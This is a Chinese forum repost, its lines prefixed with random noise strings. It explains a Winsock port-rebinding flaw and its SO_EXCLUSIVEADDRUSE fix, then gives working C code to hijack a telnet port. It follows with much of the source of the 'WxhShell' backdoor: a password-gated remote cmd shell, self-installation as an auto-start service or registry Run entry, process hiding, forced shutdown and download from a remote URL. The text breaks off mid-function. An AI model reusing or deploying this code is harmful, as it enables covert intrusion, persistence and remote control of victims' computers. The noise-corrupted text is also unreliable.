在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=}~Q&8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l+'`BBh*] rGAFp,}-f saddr.sin_family = AF_INET;
]s}aC9I >pJ6{Ip saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cEtZ}2,j (O<abB( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1pl2;! Ld'EABM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F F(^:N G0^V!0I&O 这意味着什么?意味着可以进行如下的攻击:
AIf[W">\ FW5*_%J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T[mw}%3<v =54Vs8. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T\.7f~3 " Tw0a! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e*6U |+kJ +KYxw^k}"7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Udg&
eEF /6 A:J]Q_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B1up^(? o4U]lK$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0fZ:")&4, QJniM"8v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[k}dES# ktdz@f #include
/"g[Ay #include
4/ 0/#G#j #include
+YkmLD #include
v_[)FN"]Y. DWORD WINAPI ClientThread(LPVOID lpParam);
S]Sp Z8 int main()
&3+1D1"y/ {
_?*rtDzIM WORD wVersionRequested;
3/yt*cr DWORD ret;
-DbH6u3 WSADATA wsaData;
GC,vQ\ BOOL val;
?T$*5d SOCKADDR_IN saddr;
:H~UyrN SOCKADDR_IN scaddr;
5n-9#J$ int err;
R*zBnHAb! SOCKET s;
@|jKO5Y SOCKET sc;
cS. 7\0$ int caddsize;
8b8e^\l( HANDLE mt;
{IF}d*: DWORD tid;
V7Vbl?*n wVersionRequested = MAKEWORD( 2, 2 );
n$}R/* err = WSAStartup( wVersionRequested, &wsaData );
I 0x`H)DA if ( err != 0 ) {
;Hz`0V printf("error!WSAStartup failed!\n");
|SwZi'p return -1;
A8CIP:Z }
V!j K3vc saddr.sin_family = AF_INET;
_3-RoA'UZr ym-lT|>Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3J'Bm" ,k`YDy|#e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
BLsdx} saddr.sin_port = htons(23);
(xjoRbU* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iqc4O
/ {
)M&I)In' printf("error!socket failed!\n");
5#N"WHz! return -1;
v ^ FV
t }
QE`:jxyad val = TRUE;
~4p]E'b //SO_REUSEADDR选项就是可以实现端口重绑定的
VNJDl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
UeutFNp {
e3oYy#QNk printf("error!setsockopt failed!\n");
*FI5z[8, return -1;
/ynKKJx<Y }
/\oyPD`(( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,E
n(gm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ZQgxrZx3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tk]_QX
% GgZEg
?@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>b/k|?xP {
cQUH %7m ret=GetLastError();
QiQ2XW\E printf("error!bind failed!\n");
C.Wms}XA return -1;
i`ZHjW~` }
A>ug'. listen(s,2);
'? !7 Be while(1)
k:(e79 {
xIq"[?m caddsize = sizeof(scaddr);
6qmo
ZAg //接受连接请求
w|K(>5nz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%nG~u,_2f if(sc!=INVALID_SOCKET)
3.GdKP.% {
`CTkx?e[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]ouUv7\ if(mt==NULL)
"`8H:y {
CIxVR printf("Thread Creat Failed!\n");
DLg `Q0`M5 break;
tXb7~aO }
`gBXeG2fn }
;N> {1 CloseHandle(mt);
*h5ld P }
~Q{[fy= closesocket(s);
!)l%EJngL WSACleanup();
6@ (k8<3 return 0;
nEZ-h7lzl( }
q:D0$YY0 DWORD WINAPI ClientThread(LPVOID lpParam)
Rd@n?qB {
)U/@J+{{ SOCKET ss = (SOCKET)lpParam;
NL>[8# SOCKET sc;
lN=m$ J unsigned char buf[4096];
US*<I2ZLh SOCKADDR_IN saddr;
GFy0R"&d[ long num;
=km-`}I, DWORD val;
<(6-9(zHa DWORD ret;
qKI4p3&E //如果是隐藏端口应用的话,可以在此处加一些判断
2+r )VF: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
EnsNO_"e| saddr.sin_family = AF_INET;
hD9'`SQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X&;] saddr.sin_port = htons(23);
$
uIwRG
< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\CEnOq {
6LF^[b/u printf("error!socket failed!\n");
`hQ!*f6 return -1;
}GU6Q|s[u[ }
d
q+7K val = 100;
4.Jaw+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HnKF#<
{
qkR,<"C|` ret = GetLastError();
y>pq*i return -1;
FclSuQWti }
EL)/5-=S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l52n/w#qFB {
<EM LiiNY ret = GetLastError();
Y&cjJ`rw return -1;
Ry*I~<m }
uN?O*h/( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ovBd%wJ 0 {
Nf?,
_Rl printf("error!socket connect failed!\n");
TckR_0LNV closesocket(sc);
]@j"0F/` closesocket(ss);
=[tls^ return -1;
QWQ6j#` }
0z<]\a4 while(1)
5M.n'* {
RWm Q] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@gVyLefS6g //如果是嗅探内容的话,可以再此处进行内容分析和记录
7`'fUhB! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V
n!az} num = recv(ss,buf,4096,0);
5 xzB1n8 if(num>0)
1{fwr1b send(sc,buf,num,0);
6w`}+3 else if(num==0)
(Q
p]0 break;
dxhjPS~^Q num = recv(sc,buf,4096,0);
1wNY}3 if(num>0)
w]P7!t send(ss,buf,num,0);
NtP.) else if(num==0)
NcY0pAR* break;
Q17o5##x7 }
N~K)0RETn closesocket(ss);
YC,.Y{oY{ closesocket(sc);
tEs[zo+DR- return 0 ;
VA&OI;=ri }
fylA0{ _F$t#.o +\(ay"+ d ==========================================================
s)'_{ A"h kjKpzdbD 下边附上一个代码,,WXhSHELL
JgjL$n;F ?0)XS< ==========================================================
< $?}^
0R @Y<ZT;J #include "stdafx.h"
OD!CnK ug3lMN4UX #include <stdio.h>
Hn'2'Vu #include <string.h>
t-gNG!B #include <windows.h>
hm} :Me$[) #include <winsock2.h>
v>cE59('0 #include <winsvc.h>
r+.4|u #include <urlmon.h>
x%?*]*W ,8 -_=* #pragma comment (lib, "Ws2_32.lib")
{O,M}0Eg #pragma comment (lib, "urlmon.lib")
F3r Ru\Lr=9 #define MAX_USER 100 // 最大客户端连接数
JX,#W!d #define BUF_SOCK 200 // sock buffer
1AkHig, #define KEY_BUFF 255 // 输入 buffer
3Os3=Ix O.8m%ZjD #define REBOOT 0 // 重启
4a50w:Jy] #define SHUTDOWN 1 // 关机
YH+\rb_ "Ohpb!J9 #define DEF_PORT 5000 // 监听端口
x]01j4HJ 48NXj\L[y #define REG_LEN 16 // 注册表键长度
E#F9<=mA) #define SVC_LEN 80 // NT服务名长度
H5MAN,` #yRA.; // 从dll定义API
?)QBJ9F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
W[Ew6)1T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yt#;3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
sTstc+w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6rC P]YnF nX aX= // wxhshell配置信息
(<~R[sT| struct WSCFG {
}Z$G=;3# int ws_port; // 监听端口
v2X0Px_ char ws_passstr[REG_LEN]; // 口令
jO
N}&/ int ws_autoins; // 安装标记, 1=yes 0=no
kvVz-PJy char ws_regname[REG_LEN]; // 注册表键名
rQ@o char ws_svcname[REG_LEN]; // 服务名
nZ+5@(
* char ws_svcdisp[SVC_LEN]; // 服务显示名
Zgf||, char ws_svcdesc[SVC_LEN]; // 服务描述信息
bRe *( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3S|;yOl#X int ws_downexe; // 下载执行标记, 1=yes 0=no
Dj&bHC5% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?-& D' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\#c+vfq r!gCh`PiK };
b2kbuk] dC|#l?P // default Wxhshell configuration
0aoHv struct WSCFG wscfg={DEF_PORT,
fU7:3"|s8 "xuhuanlingzhe",
}uj'BO2? 1,
d3J_IW+8R$ "Wxhshell",
2*DS_=6o "Wxhshell",
h_"/@6 "WxhShell Service",
G9":z| "Wrsky Windows CmdShell Service",
>} (*s^!k "Please Input Your Password: ",
ewPd hCK 1,
Bo(l !G "
http://www.wrsky.com/wxhshell.exe",
9NXiCP9A "Wxhshell.exe"
d?X6x };
,$ret@.H !PTbR4s // 消息定义模块
Dk6\p~q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/1
%0A char *msg_ws_prompt="\n\r? for help\n\r#>";
-2Cf)>`v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K T72D char *msg_ws_ext="\n\rExit.";
vX24W*7 char *msg_ws_end="\n\rQuit.";
84\o7@$# char *msg_ws_boot="\n\rReboot...";
`mTxtuid{ char *msg_ws_poff="\n\rShutdown...";
^G<M+RF2J char *msg_ws_down="\n\rSave to ";
!0+Ex
F ,/U9v~ char *msg_ws_err="\n\rErr!";
6U3@-+lF char *msg_ws_ok="\n\rOK!";
8=AKOOU7> ~7lvY+k)< char ExeFile[MAX_PATH];
)cBV;
E< int nUser = 0;
qf$|z`c HANDLE handles[MAX_USER];
1h0ohW int OsIsNt;
'MlC
1HEp Zpd>' ${4 SERVICE_STATUS serviceStatus;
KTJ$#1q SERVICE_STATUS_HANDLE hServiceStatusHandle;
Q*{
2 V]cY+4Y // 函数声明
1OeDWEcB int Install(void);
)O(Gw-jWE int Uninstall(void);
u<2sb;a int DownloadFile(char *sURL, SOCKET wsh);
7ij=%if2@k int Boot(int flag);
.]l2)OlLQ void HideProc(void);
Ci:QIsu* int GetOsVer(void);
D4-U[l+K> int Wxhshell(SOCKET wsl);
2b` M(QL void TalkWithClient(void *cs);
`.-C6! int CmdShell(SOCKET sock);
0t0:soZx int StartFromService(void);
2xj`cFT int StartWxhshell(LPSTR lpCmdLine);
ts$UC $ pD/S\E0@t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H<?yG-> VOID WINAPI NTServiceHandler( DWORD fdwControl );
55KL^+-~ `t2! M\) // 数据结构和表定义
CU&,Kq@ SERVICE_TABLE_ENTRY DispatchTable[] =
He23<hd! {
Y)RikF > {wscfg.ws_svcname, NTServiceMain},
O:R{4Q*5 {NULL, NULL}
.H.v c_/ };
^:j:;\; <p
.[E]a2_ // 自我安装
&NnMz9 int Install(void)
hY9u#3 {
)ISTb char svExeFile[MAX_PATH];
O,6!`\N D HKEY key;
-*r';Mz; strcpy(svExeFile,ExeFile);
)j*qGsOg :UciFIa // 如果是win9x系统,修改注册表设为自启动
7QFEQ} if(!OsIsNt) {
,FO|'l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
je%12DM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=?aB@& RegCloseKey(key);
,' B=eY, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gC 4#!P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(k45k/PAP RegCloseKey(key);
=,]M$M return 0;
2F{IDcJI\ }
wUndNE
}
SQx):L)P6 }
8A_(]Q else {
n\Nl2u& m (7
iMIY // 如果是NT以上系统,安装为系统服务
s:H1v&t,< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&[pwLYf7 if (schSCManager!=0)
\)WjkhG<w# {
#1k,t SC_HANDLE schService = CreateService
ocUu (
w:v:znQrW schSCManager,
.ji%%f wscfg.ws_svcname,
j=4>In?x wscfg.ws_svcdisp,
(1vS)v
$L SERVICE_ALL_ACCESS,
#\QC%"%f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&rKhB-18) SERVICE_AUTO_START,
_>I5Ud8(- SERVICE_ERROR_NORMAL,
nX'.'3 svExeFile,
rK wkj) NULL,
PN=yf@<V3F NULL,
:f:C*mYvu NULL,
HS9U.G> NULL,
1uMdgrJRR NULL
#u^d3
$Nj );
39#>C~BOl if (schService!=0)
_L>n!"E/ {
X.qKG0i CloseServiceHandle(schService);
p10->BBg CloseServiceHandle(schSCManager);
4LLCb7/5lP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g-36Q~`9v strcat(svExeFile,wscfg.ws_svcname);
&baY[[N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|1R@Jz` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3E-&8x7uYR RegCloseKey(key);
8pk">"#s return 0;
;p8xL)mUP }
\&0NH=*^ }
>{Djx CloseServiceHandle(schSCManager);
>E3OYa?G }
pP&~S<[ }
+,,~<Vm 2z:9^a/]Na return 1;
;7}*Xr| }
R}FN6cH X*@Sj;|m // 自我卸载
=8-e1R/ int Uninstall(void)
c9V'Z d# {
I]58;|J HKEY key;
ND*5pRzvp %BJ V$tO if(!OsIsNt) {
"PPwJ/L( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2cL<` RegDeleteValue(key,wscfg.ws_regname);
nm..$QL RegCloseKey(key);
Yhfk{ CI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L`6`NYR RegDeleteValue(key,wscfg.ws_regname);
90a=
39kI RegCloseKey(key);
%"D-1&%zY return 0;
%-D2I }
eo!{rs@f }
Jh1fM`kB5K }
#\qES7We6 else {
*
-)aGL oID,PB*9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&LE/hA if (schSCManager!=0)
c)?y3LX {
7o3f5"z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
JXrMtSp\ if (schService!=0)
Nsb13mlY {
kq+L63fZ if(DeleteService(schService)!=0) {
HUH=Y; CloseServiceHandle(schService);
hz!.|U@,{< CloseServiceHandle(schSCManager);
{dDU^7O return 0;
Q =Z-vTD+ }
'a}pWkLB CloseServiceHandle(schService);
U<$ |ET' }
mSs%g L]g CloseServiceHandle(schSCManager);
^+88z> }
+m_quQ/ys }
$|AxQQ%f eG.?s;J0 return 1;
pV_2JXM~@ }
*5^h>Vk/ bTJ7RqL // 从指定url下载文件
;TYkJH" int DownloadFile(char *sURL, SOCKET wsh)
~ ~&M&Fe
{
k2~j:&p HRESULT hr;
-O\`G<s% char seps[]= "/";
c(:GsoO char *token;
d4/ZOj+% char *file;
#-{4F?DA]y char myURL[MAX_PATH];
\7RP6o char myFILE[MAX_PATH];
'Q# KjY ]. eGsh2 strcpy(myURL,sURL);
ral0@\T token=strtok(myURL,seps);
>Gkkr{s9 while(token!=NULL)
=Z 2sQQVS {
` 6PdMvF file=token;
w;XX jT token=strtok(NULL,seps);
ffd yDUzQ }
z'
@F@k6 ~e|~c<!z8@ GetCurrentDirectory(MAX_PATH,myFILE);
D9h\=[%e strcat(myFILE, "\\");
Hly$ Wm strcat(myFILE, file);
Tw$la kw send(wsh,myFILE,strlen(myFILE),0);
4q2aVm send(wsh,"...",3,0);
V}& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<3'r&ks if(hr==S_OK)
Q!c*2hI return 0;
h-V5&em"_ else
P:=3;d{v return 1;
nCt:n}+C7 }2}hH0R }
CQS34&G$a mD tD7FzJ // 系统电源模块
t<rhrW75P int Boot(int flag)
vO 3fAB {
Ef69]{E HANDLE hToken;
)
b?HK SqI TOKEN_PRIVILEGES tkp;
(V*ggii@ M^a QH/=:" if(OsIsNt) {
Gt' %:9r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
I_4'9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P'[w9'B tkp.PrivilegeCount = 1;
u>}k+8~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^8DC
W`V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qjuX16o if(flag==REBOOT) {
F9N)UW:w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M%Ov6u<I8 return 0;
bX8Bn0#a+ }
+`zM^'^$ else {
Ie4}F|#= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&{99Owqg return 0;
U)2\=%8 }
M '[.ay }
,u/GA<'#M else {
CtS*"c,j if(flag==REBOOT) {
u9 J;OsnHK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F4@``20| return 0;
WI' ;e4 }
:Fm)<VN" else {
L9(fa+$+# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ga"t4[=I return 0;
p3&w/K{L6w }
G}d@^9FkE }
r\Zz=~![< :beBiO return 1;
#7GbG\ }
|,|b~> 3DbS\jja // win9x进程隐藏模块
S
7RB`I5 void HideProc(void)
.>_p7=a {
?Jio9Zr YvR MUT
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Gz@'W%6yaV if ( hKernel != NULL )
$3k5hDA0e {
"*a^_tsT?i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a~=$9+?w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4 @ )|N' FreeLibrary(hKernel);
4gzrxV }
j'g':U > -OQk"o return;
Nw*
>$v }
ND77(I$3s se2ay_<F+ // 获取操作系统版本
X2v|O3>/N int GetOsVer(void)
@#xh)"} {
blEs!/A` OSVERSIONINFO winfo;
{dTtYL$'" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@|sDb?J GetVersionEx(&winfo);
A70x+mjy^T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=y.? =`" return 1;
%i:Sf else
rjHL06qE return 0;
h.(CAm%Y7 }
w-LMV>+6| l.Iov?e1S // 客户端句柄模块
|hk?'WGc`0 int Wxhshell(SOCKET wsl)
0j@gC0xu)| {
<KlG#7M> SOCKET wsh;
eX;C.[&7;8 struct sockaddr_in client;
CvS}U% DWORD myID;
Ksr.' ;rC)*=4# while(nUser<MAX_USER)
NBU[> P {
W6:ei.d+NS int nSize=sizeof(client);
80DcM9^t8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
S2T~7- if(wsh==INVALID_SOCKET) return 1;
&;I=*B~kE$ n$&xVaF| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q$7SJ.pF if(handles[nUser]==0)
R9%Um6 closesocket(wsh);
(pJ-_w'G else
)%FRBO] nUser++;
~\<aj(m(| }
7#wdBB% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[<CIh46S. os9X)G return 0;
8K$q6V%# }
U 51C /A =wE1j // 关闭 socket
lB3@jF void CloseIt(SOCKET wsh)
]n _OQ)VO {
~?`V$G=?, closesocket(wsh);
qD0sD2 x nUser--;
fsRRnD ExitThread(0);
<_(UAv }
av~dH=&= &iYy // 客户端请求句柄
jg%HaA<zO void TalkWithClient(void *cs)
\qk+cK;+ {
apFY//(yu Uskz~~}G SOCKET wsh=(SOCKET)cs;
F6,[!.wl char pwd[SVC_LEN];
) bRj'* char cmd[KEY_BUFF];
)4u6{-|A char chr[1];
AT$eTZ]M int i,j;
pH!e<m MOp06 while (nUser < MAX_USER) {
fg}&=r ]N<:6+ if(wscfg.ws_passstr) {
BUhLAO
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y;n;7M<F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P4H%pm{- //ZeroMemory(pwd,KEY_BUFF);
2g?O+'JD i=0;
8y:c3jzP_ while(i<SVC_LEN) {
33/aYy c0}* $e // 设置超时
=GGt:3Kx- fd_set FdRead;
oVDqX=G struct timeval TimeOut;
?2LRMh")$ FD_ZERO(&FdRead);
9 8"/]ERJ FD_SET(wsh,&FdRead);
iPoh2 TimeOut.tv_sec=8;
n^kszIu~ TimeOut.tv_usec=0;
Y367Jr@^N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
EkWipF( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Wg \`!T &\[3m^L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZoFQJJK56B pwd
=chr[0]; xweV8k/
if(chr[0]==0xd || chr[0]==0xa) { YI0ubB
pwd=0; 3"9'MDKH
break; =gG_ %]``R
} ;G
27S<Q
i++; 3JnBKh\n
} Dj 0`#~
kta`[%KmIZ
// 如果是非法用户,关闭 socket ,AX7~;hpq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I" AgRa
} 7NG^I6WP-
0qND 2_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k#*tf:R
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q].n1w[
&tKr
?l
while(1) { WcE{1&PXx
L!fiW`>0G
ZeroMemory(cmd,KEY_BUFF); *p&c}2'
8Df(|>mK
// 自动支持客户端 telnet标准 TttD}`\.
j=0; +aa( YGL
while(j<KEY_BUFF) { &2i3"9k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7-*QF>w<a
cmd[j]=chr[0]; IYb%f T
if(chr[0]==0xa || chr[0]==0xd) { <|,0%bq)|
cmd[j]=0; 8
oK;Tzh
break; P8Nzz(JF
} XnBpL6"T`
j++; Ry5/O?QL
} `F)Q=
eYJ6&).F
// 下载文件 :
5=E>!
if(strstr(cmd,"http://")) { Cq-d,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -5v2E-
if(DownloadFile(cmd,wsh)) HW0EP J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +s(JutC
else 4s{_(gy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y]z^e\qc)
} WGG
Va
else { mn5"kYy?
M@LI(;
switch(cmd[0]) { !kzC1U
86.LkwlqoH
// 帮助 xUp[)B6?:
case '?': { D'dE!CAUs
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *TacVp
break; N;)Y+amg^
} h"b;e2
// 安装 .Vy*p")"
case 'i': { Y ;JPr
if(Install()) }YPW@g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v7;zce/~
else ,}9 G|$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)PCPYB^
break; (6Ssk4
} *Ey5F/N}$H
// 卸载 Mo4#UV
case 'r': { <ZF,3~v?
if(Uninstall()) F0cde
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %TO=]>q
else m5m'ByX(*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); caK<;bmu-
break; @O~
} &3jq'@6
// 显示 wxhshell 所在路径 T2;%@Ghc
case 'p': { hWzjn5w3
char svExeFile[MAX_PATH]; .kv/db
strcpy(svExeFile,"\n\r"); $}{u6*u.,
strcat(svExeFile,ExeFile); urJ>dw?FI
send(wsh,svExeFile,strlen(svExeFile),0); 7N@4c
break; ~j1.;WId[
} $]&0`F
// 重启 }Pu|%\
case 'b': { 1pT
v6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6CK WKc
if(Boot(REBOOT)) .Pp;%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mPl2y3m%
else { t#kPEiD
closesocket(wsh); i\4Q v"%
ExitThread(0); pHW
Qk z(
} 5IK -V)
break; uVO*@Kj+
} 3$]SP1Mc(
// 关机 1x\Vz\
case 'd': { M5mCG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .GJl@==~1
if(Boot(SHUTDOWN)) R"j6 w[tn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OE~0Z\0
else { 6SYQRK
closesocket(wsh); w"-'
ExitThread(0); q\PHA
} DXbzl
+R
break; eSV_.uvsb
} [1I>Bc&o*
// 获取shell q>$[<TsE&}
case 's': { I'23$IzPA
CmdShell(wsh); n@3(bl5{
closesocket(wsh); XIv{jzgF
ExitThread(0); (6 jr}kP
break; =1rq?M eX
} a$Lry?pb
// 退出 @<GVY))R8
case 'x': { ?q}XDc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LGxQ>f[V
CloseIt(wsh); .JR"|;M}
break; 1QfOD-lv
} >JNK06T
// 离开 qr5ME/)z
case 'q': { hq5=>p
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pq
\M;&
closesocket(wsh); /+FZDRf!r
WSACleanup(); f z)i9D@
exit(1); Bld%d:i
break; b4_"dg~gK
} =:fFu,+{
}
T?!&a0
} (h"Yw
v-*CE[
// 提示信息 +y+-~;5iv
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {gSR49!Q
} i- Le&
} 0(owFNUBs
2r+@s g
return; 6Y#-5oEu/
} Vrz6<c-'B
wH:'5+u:6
// shell模块句柄 2>s@2=Aq
int CmdShell(SOCKET sock) YNGG> ;L
{ Sa V]6/|
STARTUPINFO si; >s@6rNgf
ZeroMemory(&si,sizeof(si)); Cm4$&?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X%S9H^9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NXAP=y3
PROCESS_INFORMATION ProcessInfo; ;l]OmcL
char cmdline[]="cmd"; |+?ABPk"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =y3gnb6
return 0; w|6;Pf~1y)
} jGB2`^&d
@!92Ok
// 自身启动模式 PB
!\r}Q
int StartFromService(void) 'o2V}L'nG
{ Ga4Ru
typedef struct L{>XT
{ '/gw`MJ
DWORD ExitStatus; #y~`nyg%|
DWORD PebBaseAddress; jni }o m
DWORD AffinityMask; :!vDX2o)\
DWORD BasePriority; X
X>Y]P
a
